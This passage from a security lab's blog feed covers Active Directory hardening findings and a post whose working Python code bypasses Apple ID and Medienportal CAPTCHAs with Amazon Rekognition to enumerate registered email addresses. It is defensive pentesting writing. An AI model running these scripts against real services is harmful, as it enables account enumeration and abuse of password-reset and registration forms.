&lt;p&gt;With the &lt;code&gt;Enrollment Rights&lt;/code&gt; set to &lt;code&gt;NT Authority\Authenticated Users&lt;/code&gt;, any authenticated user in the domain has the ability to generate a new certificate based on this template. For an in-depth analysis of these vulnerabilities, additional details are available &lt;a href=&quot;https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Once the vulnerable certificate template has been identified, we can request a new certificate on behalf of a domain administrator using Certify. [..] Once we have the certificate in cert.pfx, we can request a Kerberos TGT for the user for which we minted the new certificate.&lt;/em&gt; (Source: ired.team)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./rubeus.png&quot; alt=&quot;Rubeus - Requesting a Kerberos TGT&quot; title=&quot;Rubeus - Requesting a Kerberos TGT&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 3: Rubeus - Requesting a Kerberos TGT&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;In a nutshell - it&apos;s practically game over at this point. While this overview covers some of the main attack vectors, there are numerous other techniques targeting vulnerable certificates (as detailed in the original SpecterOps whitepaper), and ongoing research continues to uncover new threats in this area.&lt;/p&gt;
&lt;p&gt;Discussions with customers show that awareness of these risks is still alarmingly low among administrators and IT security professionals. This underscores the urgent need for better education and more proactive security measures.&lt;/p&gt;
&lt;h2&gt;1.2 - Findings&lt;/h2&gt;
&lt;h3&gt;1.2.1 - At least one certificate template can be modified by anyone&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;A certificate template is an object whose definition serves as a base to issue certificates. If a user has the right to edit it, it can manually change obscure attributes such as msPKI-Certificate-Name-Flag. Doing so will enable him to provide the subject of the certificate and thus having a certificate on behalf other users such as admins. It can be used to impersonate them and take control of the domain.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;19/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1.2.2 - At least one certificate used for authentication can have it&apos;s subject modified when being used&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Usually, the subject of a certificate is generated automatically by the certification authority. By allowing editing before its issuance, a malicious user can set the subject to an administrator account, and thus get a certificate representing them. This certificate can be abused later to impersonate them.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./ADCS.jpeg&quot; alt=&quot;foo&quot; title=&quot;foo&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 4: PingCastle ADCS check&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;24/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;1.3 - References &amp;amp; Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://posts.specterops.io/certified-pre-owned-d95910965cd2&lt;/li&gt;
&lt;li&gt;https://riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/&lt;/li&gt;
&lt;li&gt;https://m365internals.com/2022/11/07/investigating-certificate-template-enrollment-attacks-adcs/&lt;/li&gt;
&lt;li&gt;https://blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/&lt;/li&gt;
&lt;li&gt;https://services.google.com/fh/files/misc/active-directory-certificate-services-hardening-wp-en.pdf&lt;/li&gt;
&lt;li&gt;https://github.com/jakehildreth/Locksmith&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;2. Service Accounts&lt;/h1&gt;
&lt;h2&gt;2.1 - Introduction&lt;/h2&gt;
&lt;p&gt;We frequently discover service accounts configured with excessive privileges during our Active Directory assessments and incident response engagements. In many instances, these accounts are assigned elevated permissions, such as membership in the Domain Administrators group—far exceeding what is necessary for their intended purpose. This overprovisioning represents a significant security risk.&lt;/p&gt;
&lt;p&gt;The problem is compounded when these service accounts are protected with weak or easily guessable passwords. Given their elevated privileges, these accounts become prime targets for attackers. If compromised, they can grant unauthorized access to critical systems, facilitate lateral movement within the network, and potentially lead to a complete domain compromise.&lt;/p&gt;
&lt;p&gt;Additionally, service accounts often fall outside the scope of regular monitoring and password management policies applied to user accounts. Many have non-expiring passwords, leaving them increasingly vulnerable over time. Attackers can exploit these gaps to establish persistent access, evade detection, and circumvent response efforts, further magnifying the security threat.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./DA_services.png&quot; alt=&quot;Service account which is part of the Domain Admin group&quot; title=&quot;Service account which is part of the Domain Admin group&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 5: Service account, which is part of the Domain Admin group&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h2&gt;2.2 - Findings&lt;/h2&gt;
&lt;h3&gt;2.2.1 - No password policy for service accounts found&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to give information regarding a best practice for the Service Account password policy. Indeed, having a 20+ characters password for this account greatly helps reducing the risk of Kerberoasting attacks (offline cracking of the TGS tickets)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;240/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2.2.2 - Check if Service Accounts (aka accounts with never expiring password) are domain administrators&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to check for accounts with non-expiring passwords in the &quot;Domain Administrator&quot; group PingCastle is checking accounts with never expiring password, that are mostly used as service accounts. &quot;Service Accounts&quot; can imply a high security risk as their password are stored in clear text in the LSA database, which can then be easily exploited using Mimikatz or Cain&amp;amp;Abel for instance. In addition, their passwords don&apos;t change and can be used in Kerberoast attacks.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;158/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2.2.2 - Admin Accounts are Kerberoastable&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to ensure that the password of admin accounts cannot be retrieved using the Kerberoast attack. To access a service using Kerberos, a user requests a ticket (named TGS) to the DC specific to the service. This ticket is encrypted using a derivative of the service password, but can be brute-forced to retrieve the original password. Any account having the attribute SPN populated is considered as a service account. Given that any user can request a ticket for a service account, these accounts can have their password retrieved. In addition, services are known to have their password not changed at a regular basis and to use well-known words.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;95/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;2.3 - References &amp;amp; Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/total-identity-compromise-microsoft-incident-response-lessons-on/ba-p/3753391&lt;/li&gt;
&lt;li&gt;https://www.synacktiv.com/publications/a-dive-into-microsoft-defender-for-identity.html&lt;/li&gt;
&lt;li&gt;https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/group-managed-service-accounts/group-managed-service-accounts/group-managed-service-accounts-overview&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;3. Passwords&lt;/h1&gt;
&lt;h2&gt;3.1 - Introduction&lt;/h2&gt;
&lt;p&gt;In our incident response cases, we frequently encounter local administrator accounts or accounts within the local administrator group that are secured with weak passwords—making them prime targets for lateral movement.&lt;/p&gt;
&lt;p&gt;Also, regularly review the properties of Active Directory objects, paying particular attention to the description field, as it may inadvertently contain sensitive information such as passwords.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./properties.png&quot; alt=&quot;Querying the user propertie&quot; title=&quot;Querying the user propertie&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 6: Querying the user properties&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;LAPS is the Microsoft solution to automatically manage the password for the built-in Administrator account on Windows devices. When machines are built or imaged, they often have the same password for the built-in Administrator account. If this is never changed, a single password can give local administrative rights to all machines and may provide opportunities for lateral movement. LAPS solves this problem by ensuring each device has a unique local administrator password and rotates it regularly.&lt;/em&gt; - &lt;a href=&quot;https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/total-identity-compromise-microsoft-incident-response-lessons-on/ba-p/3753391&quot;&gt;Total Identity Compromise: Microsoft Incident Response lessons on securing Active Directory&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;3.2 - Findings&lt;/h2&gt;
&lt;h3&gt;3.2.1 - Obfuscated Passwords&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;PingCastle attempts to identify passwords stored in GPOs. If PingCastle was able to retrieve a password, attackers can also obtain it and so the account should be considered compromised. Note that Microsoft published the AES key used to encrypt passwords in GPOs, which is why even an encrypted password is insecure.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./obfuscated.jpeg&quot; alt=&quot;Obfuscated passwords&quot; title=&quot;Obfuscated passwords&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 7: Obfuscated passwords&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;As seen in the wild: &lt;em&gt;One notable TTP observed by APT29 was the hunting for passwords stored in SYSVOL. This technique relies on passwords that are stored as part of Group Policy Preferences.&lt;/em&gt; - &lt;a href=&quot;https://cloud.google.com/blog/topics/threat-intelligence/tracking-apt29-phishing-campaigns/?hl=en&quot;&gt;
Trello From the Other Side: Tracking APT29 Phishing Campaigns&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;47/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3.2.2 - Presence of accounts with non-expiring passwords in the domain admin group&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Some accounts have passwords which never expire. Should an attacker compromise one of these accounts, he would be able to maintain long-term access to the Active Directory domain.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;245/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3.2.3 - Number of admin with a password older than 3 years&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to ensure that all admins are changing their passwords at least every 3 years&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;198/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3.2.4 - Number of accounts that can have an empty password&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;An account can be set without a password if it has the flag &quot;PASSWD_NOTREQD&quot; set as &quot;True&quot; in the &quot;useraccountcontrol&quot; attribute. This represents a high security risk as the account is not protected at all without a password&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;110/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;4. PowerShell Script Block Logging&lt;/h1&gt;
&lt;h2&gt;4.1 - Introduction&lt;/h2&gt;
&lt;p&gt;Strictly speaking not part of a guide about hardening Active Directory, but I must stress once again the importance of logging executed PowerShell code on clients and servers. In the year&apos;s &quot;Year in Review&quot; (2022) of
TalosSecurity, PowerShell&apos;s &lt;code&gt;Invoke-Expression&lt;/code&gt; is listed as number 1 of the most alerted Behavioral Protection signatures (see references below).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./behavioral_protections.jpeg&quot; alt=&quot;PowerShell Invoke-Expression&quot; title=&quot;PowerShell Invoke-Expression&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 8: PowerShell Invoke-Expression&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h2&gt;4.2 - Findings&lt;/h2&gt;
&lt;h3&gt;4.2.1 - The PowerShell audit configuration is not fully enabled&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;PowerShell is a powerful language, also used by hackers because of this quality. Hackers are able to run programs such as mimikatz in memory using obfuscated commands such as Invoke–Mimikatz. Because there is no artefact on the disk, the incident response task is difficult for the forensic analysts. For this reason, we recommend to enable PowerShell logging via a group policy, despite the fact that these security settings may be part of the workstation or server images.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;231/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;4.3 - References &amp;amp; Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://x.com/malmoeb/status/1627214815012716546&lt;/li&gt;
&lt;li&gt;https://www.calcomsoftware.com/ensure-turn-on-powershell-script-block-logging-is-set-to-disabled/&lt;/li&gt;
&lt;li&gt;https://blog.talosintelligence.com/talos-year-in-review-2022/&lt;/li&gt;
&lt;li&gt;https://www.splunk.com/en_us/blog/security/hunting-for-malicious-powershell-using-script-block-logging.html&lt;/li&gt;
&lt;li&gt;https://github.com/search?q=repo%3Aelastic%2Fdetection-rules+powershell.file.script_block_text+language%3ATOML&amp;amp;type=code&amp;amp;l=TOML&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;5. Add Computers to the Domain&lt;/h1&gt;
&lt;h2&gt;5.1 - Introduction&lt;/h2&gt;
&lt;p&gt;A customer called us because he discovered two new computers within his computer objects that did not match his naming scheme.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./samtheadmin.png&quot; alt=&quot;foo&quot; title=&quot;foo&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 9: SAMTHEADMIN computer object&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;During the detailed investigation of the incident, it turned out that these &lt;code&gt;SAMTHEADMIN&lt;/code&gt; objects were part of an exploit code that (if successful) would give administrative rights to a standard domain user.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./github_sam.png&quot; alt=&quot;foo&quot; title=&quot;foo&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 10: sam-the-admin exploit&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;In addition to the exploit presented above, various other attack techniques rely on the fact that an unprivileged user can create new computer objects within the domain. The best way to prevent such attacks is to remove this privilege from all users on the network and only explicitly assign it to a particular group (supporters, IT administrators, etc.).&lt;/p&gt;
&lt;p&gt;Ping Castle also checks the value of &lt;code&gt;MachineAccountQuota&lt;/code&gt; and outputs a corresponding finding if the value is &amp;lt; 0.
&lt;em&gt;This default configuration represents a security issue as regular users shouldn&apos;t be able to create such accounts, and administrators should handle this task.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;5.2 - Findings&lt;/h2&gt;
&lt;h3&gt;5.2.1 Non-admin users can add up to 10 computers to the domain&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;By default, a basic user can register up to 10 computers within the domain. This default configuration represents a security issue as basic users shouldn&apos;t be able to create such accounts and this task should be handled by administrators.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;171/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;5.3 - References &amp;amp; Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/Ascotbe/Kernelhub/blob/e55eb366bab445539ff16c63d3831ed4af91c92f/Windows/CVE-2021-42287/sam-the-admin/sam_the_admin.py#L4&lt;/li&gt;
&lt;li&gt;https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>Stephan Berger</author></item><item><title>Breaking CAPTCHAs with image recognition</title><link>https://labs.infoguard.ch/posts/breaking-captchas-with-image-recognition/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/breaking-captchas-with-image-recognition/</guid><description>This article explains how image recognition services can be used to bypass (i.e. auto-solve) classical alphanumeric CAPTCHAs.</description><pubDate>Sat, 09 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::important{title=&quot;TL;DR&quot;}
Do you still mark some pentesting-checks as &quot;info&quot; after encountering an alphanumeric CAPTCHA? Have you ever been annoyed you could not automate certain enumeration tasks during a red team engagement because of this PITA thing? This article explains how image recognition services can be used to bypass (i.e. auto-solve) classical alphanumeric CAPTCHAs. On the examples of Apple-ID and Medienportal we explain the details step-by-step and conclude with very simple but working python-code.
:::&lt;/p&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;CAPTCHA or Completely Automated Public Turing test to tell Computers and Humans Apart is a term for techniques to prevent parts of an application
from being automatically (mis-)used by robots. Typically (but not exclusively), registration or login forms are protected by this to prevent the bulk-creation
of fake user accounts or brute forcing of logins. Although the idea of using machine learning for text recognition in CAPTCHAs is nothing new, public AI
as a service (AIaaS) models have gotten ever more powerful and extremely cheap to use (e.g. 0.001$/img). It is even more perplexing that alphanumeric
CAPTCHAs, meaning letters and numbers that need to be optically recognized, are still widely used by a lot of companies, including big tech giants like
Apple.
In the following, we demonstrate how alphanumeric CAPTCHAs can be solved programmatically using image recognition. We explain the approach step-
by-step from identifying the problem to a working bypass. For our code examples we mainly use the &lt;a href=&quot;https://pypi.org/project/requests/?ref=labs.infoguard.ch&quot;&gt;python requests library&lt;/a&gt; and the text detection engine
of &lt;a href=&quot;https://aws.amazon.com/de/rekognition/?ref=labs.infoguard.ch&quot;&gt;Amazon Rekognition&lt;/a&gt;, but any programming language and service may be used.&lt;/p&gt;
&lt;h1&gt;Use cases&lt;/h1&gt;
&lt;h2&gt;Apple-ID&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://iforgot.apple.com/password/verify/appleid&quot;&gt;iforgot.apple.com/password/verify/appleid&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;If you forget the password of your apple-ID, you can reset it via the website &lt;a href=&quot;https://iforgot.apple.com/password/verify/appleid&quot;&gt;iforgot.apple.com/password/verify/appleid&lt;/a&gt;. However, to prevent this function from being excessively used, Apple does prompt the user to input the characters shown in an adjacent image. Usually, this &quot;text&quot; is intentionally visually altered by overlapping characters or introducing additional noise like lines or patterns to make it harder for AI to recognize its correct meaning. The difficulty to recognize these characters varies greatly from each image to the next and there is usually no limitation on how often a new challenge can be requested, posing ideal conditions for automation.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./screenshot1-2.png&quot; alt=&quot;login mask&quot; /&gt;
If the website is investigated more closely we can identify two relevant web-calls: First, a GET when clicking on &quot;Neuer Code&quot;, which retreives a new CAPTCHA image and second, the POST call made when clicking on &quot;Weiter&quot; which submits the form and validates the CAPTCHA input. It is important to note that the mapping of a CAPTCHA instance to the user session is done using the session cookies.
&lt;img src=&quot;./screenshot2-2.png&quot; alt=&quot;problems with login&quot; /&gt;
Our code starts by calling the initial website &lt;a href=&quot;https://iforgot.apple.com/password/verify/appleid&quot;&gt;iforgot.apple.com/password/verify/appleid&lt;/a&gt; containing the form and storing its session cookies which we need later for requesting and validating CAPTCHAs:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;headers = {&apos;Content-Type&apos;: &apos;application/json&apos;, &apos;Accept&apos;: &apos;application/json,
text/javascript, */*; q=0.01&apos;,&apos;Accept-Language&apos;:
&apos;de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7&apos;,&quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT
10.0; Win64; x64) AppleWebKit/500.36 (KHTML, like Gecko) Chrome/99.0.0.74
Safari/537.0&quot;}
response = requests.get(&apos;https://iforgot.apple.com/password/verify/appleid&apos;,
headers=headers)
cookies = response.cookies
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The request of a CAPTCHA image with &lt;a href=&quot;https://iforgot.apple.com/captcha?captchaType=IMAGE&quot;&gt;iforgot.apple.com/captcha?captchaType=IMAGE&lt;/a&gt; returns a Base64 encoded image payload, a token and an id in JSON. We save the image to a file and store the rest in variables. The image is sent to Amazon Rekognition as bytes using &lt;code&gt;detect_text()&lt;/code&gt;, which returns an array of detected texts in response&lt;code&gt;[&apos;TextDetections&apos;]&lt;/code&gt;. Since (hopefully) only one text object was detected, it is sufficient to just access the first element.&lt;/p&gt;
&lt;p&gt;:::note
To use Amazon Rekognition, a valid aws_access_key_id and aws_secret_access_key need to be defined in ~/.aws/credentials. See here for more info.
&lt;code&gt;rek_client = boto3.client(&apos;rekognition&apos;, region_name=&apos;us-west-2&apos;)&lt;/code&gt;
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;while True:
    response =
requests.get(&apos;https://iforgot.apple.com/captcha?captchaType=IMAGE&apos;,
headers=headers, cookies=cookies)
    captcha_payload = response.json()[&quot;payload&quot;][&quot;content&quot;]
    captcha_token = response.json()[&quot;token&quot;]
    captcha_id = response.json()[&quot;id&quot;]
    file_name = &apos;data/decoded_image.jpg&apos;
    base64_img_bytes = captcha_payload.encode(&apos;utf-8&apos;)

    with open(&apos;./data/decoded_image.jpg&apos;, &apos;wb&apos;) as file_to_save:
        decoded_image_data = base64.decodebytes(base64_img_bytes)
        file_to_save.write(decoded_image_data)

    with open(file_name, &apos;rb&apos;) as im:
        im_bytes = im.read()
        response = rek_client.detect_text(Image={&apos;Bytes&apos;: im_bytes})
        textDetections = response[&apos;TextDetections&apos;]

        if response[&apos;TextDetections&apos;] is not None:
            captcha_answer = str(textDetections[0][&apos;DetectedText&apos;]).replace(&apos; &apos;,
 &apos;&apos;)
        else:
            captcha_answer = &apos;&apos;
            continue
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using the supposed CAPTCHA answer, the id and the token, we craft the POST request to https://iforgot.apple.com/password/verify/appleid for validation. If the answer was not valid, the response contains &lt;code&gt;captchaAnswer.Invalid&lt;/code&gt;, so the absence of this string means success.&lt;/p&gt;
&lt;p&gt;Since in this scenario the response of a successful form-submission does reveal if a given e-mail address is NOT a valid apple-ID, we can craft a simple user enumeration check by looking for the string &lt;code&gt;appleIdNotSupported&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;json = {&quot;id&quot;: email,&quot;captcha&quot;:{&quot;id&quot;:captcha_id, &quot;answer&quot;:captcha_answer,
&quot;token&quot;:captcha_token}}
response = requests.post(&apos;https://iforgot.apple.com/password/verify/appleid&apos;,
headers=headers, cookies=cookies, json=json)

captcha_failed_string = &apos;captchaAnswer.Invalid&apos;

if not captcha_failed_string in str(response.content):
    if &apos;appleIdNotSupported&apos; in str(response.content):
        print(&apos;e-mail &apos; + email + &apos; not registered&apos;)
    else:
        print(&apos;e-mail &apos; + email + &apos; registered&apos;)
    break
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because we can request an arbitrary number of CAPTCHA images, we can just continously repeat this process until a correct guess is made. As shown in the following, Amazon&apos;s model guesses many of the images correctly and not many attempts are needed on average until a valid answer is found:
&lt;img src=&quot;./output-15.gif&quot; alt=&quot;captcha&quot; /&gt;
Label detection of Apple CAPTCHAs&lt;/p&gt;
&lt;p&gt;We can now use our CAPTCHA bypass to run an automated user enumeration check on Apple-IDs:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./d_l-3.gif&quot; alt=&quot;Bypassing Apple CAPTCHA with image recognition&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Medienportal&lt;/h2&gt;
&lt;p&gt;We now investigate a second but similar example. The registration form of the Medienportal also uses an alphanumeric CAPTCHA. This time, a lot of visual strikethrough and magnifier effects are used to complicate text detection.&lt;/p&gt;
&lt;p&gt;We again identify a GET request &lt;a href=&quot;https://medien.***.ch/c/portal/captcha/get_image?portletId=com_liferay_login_web_portlet_LoginPortlet&amp;amp;t=168008376454&quot;&gt;https://medien.***.ch/c/portal/captcha/get_image?portletId=com_liferay_login_web_portlet_LoginPortlet&amp;amp;t=168008376454&lt;/a&gt; which gets/refreshes a CAPTCHA image and a POST request via &quot;Speichern&quot;-Button, which submits the whole form and validates the CAPTCHA text. The mapping of a CAPTCHA instance to the user session is again done via session cookies.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./screenshot3-1.png&quot; alt=&quot;media portal&quot; /&gt;
Although the visual obfuscation strategy in this case is somewhat different to the first example, the model is again very effective in detecting the correct contents:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./output-18.gif&quot; alt=&quot;captcha&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The implementation is almost identical to Apple-ID, with some small differences in the form-submission. We again perform user enumeration as a practical automation example. Since we target the registration form and we do not want to create a new user account for a non-existing e-mail, we intentionally leave away essential information like zipCode, city, street, etc. This way, the registration form will always fail but it still reveals if a given e-mail address is registered.&lt;/p&gt;
&lt;p&gt;:::note
To achieve user enumeration in the case of the registration form, the order of input validation is exploited. If the form would validate each field before confirming the e-mail address&apos; existence, our strategy of blank-submitting fields would not work. However, not giving away ANY information AT ALL would of course be the expected (secure) behavior of a form.
:::
This time, the data is sent as standard POST body instead of JSON. We loop through this process and look for the absence of a captcha_failed_string until we have a correct guess:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;headers = {&apos;Content-Type&apos;: &apos;application/x-www-form-urlencoded&apos;, &apos;Origin&apos;:
&apos;https://medien.***.ch&apos;}
safe_string_email = urllib.parse.quote_plus(email)
safe_string_captcha = urllib.parse.quote_plus(captcha_answer)
data_body =

&quot;\_com_liferay_login_web_portlet_LoginPortlet_formDate=&amp;amp;\_com_liferay_login_web_portlet_LoginPortlet_saveLastPath=false&amp;amp;[...]&amp;amp;\_com_liferay_login_web_portlet_LoginPortlet_street=&amp;amp;\_com_liferay_login_web_portlet_LoginPortlet_phone=&amp;amp;\_com_liferay_login_web_portlet_LoginPortlet_mobile-phone=&amp;amp;\_com_liferay_login_web_portlet_LoginPortlet_emailAddress=&quot;

- safe_string_email +

&quot;&amp;amp;_com_liferay_login_web_portlet_LoginPortlet_password1=Super1234!&amp;amp;_com_liferay_login_web_portlet_LoginPortlet_password2=Super1234!&amp;amp;_com_liferay_login_web_portlet_LoginPortlet_captchaText=&quot;
 + safe_string_captcha +
&quot;&amp;amp;_com_liferay_login_web_portlet_LoginPortlet_checkboxNames=&amp;amp;p_auth=43F3MwwF&quot;
response = session.post(submit_url, headers=headers, cookies=cookies,
data=data_body)

captcha_failed_string = &apos;fung fehlgeschlagen&apos;

if not captcha_failed_string in str(response.content):
    if &apos;Die angegebene E-Mail-Adresse ist schon vergeben.&apos; in
str(response.content):
        print(&apos;e-mail &apos; + email + &apos; registered&apos;)
    else:
        print(&apos;e-mail &apos; + email + &apos; not registered&apos;)
    break
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We again use our second CAPTCHA bypass to run an automated user enumeration check on Medienportal accounts:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./mov4a.gif&quot; alt=&quot;Bypassing CAPTCHA with image recognition&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Summary&lt;/h1&gt;
&lt;p&gt;As demonstrated in this article, alphanumeric CAPTCHAs can be easily bypassed using any image recognition provider. There is neither a need for specific tooling nor complex technical know how and a custom bypass can be scripted in just a few lines of code. Bypassing alphanumeric CAPTCHAs is fast, cheap and can be heavily scaled. The still very wide adoption of this technique to prevent bots/automation is therefore quite baffling to see and the staggering progress in artificial intelligence additionally worsens the situation.&lt;/p&gt;
&lt;p&gt;So what should we do with alphanumeric CAPTCHAs? Our conclusion is that they are not realiable and secure at all and should not be used anymore, especially not to protect functionality that might be relevant for the security/privacy of a system. There are more advanced automation prevention solutions such as Googles reCAPTCHA or cloudflare, which are significantly harder to bypass. But even imposing some basic restrictions (and ultimately bans) on the possible number of calls to the challenge image refresh function for more classical CAPTCHAs could yet greatly reduce the possibilities for automation.&lt;/p&gt;
</content:encoded><author>Mario Bischof</author></item></channel></rss>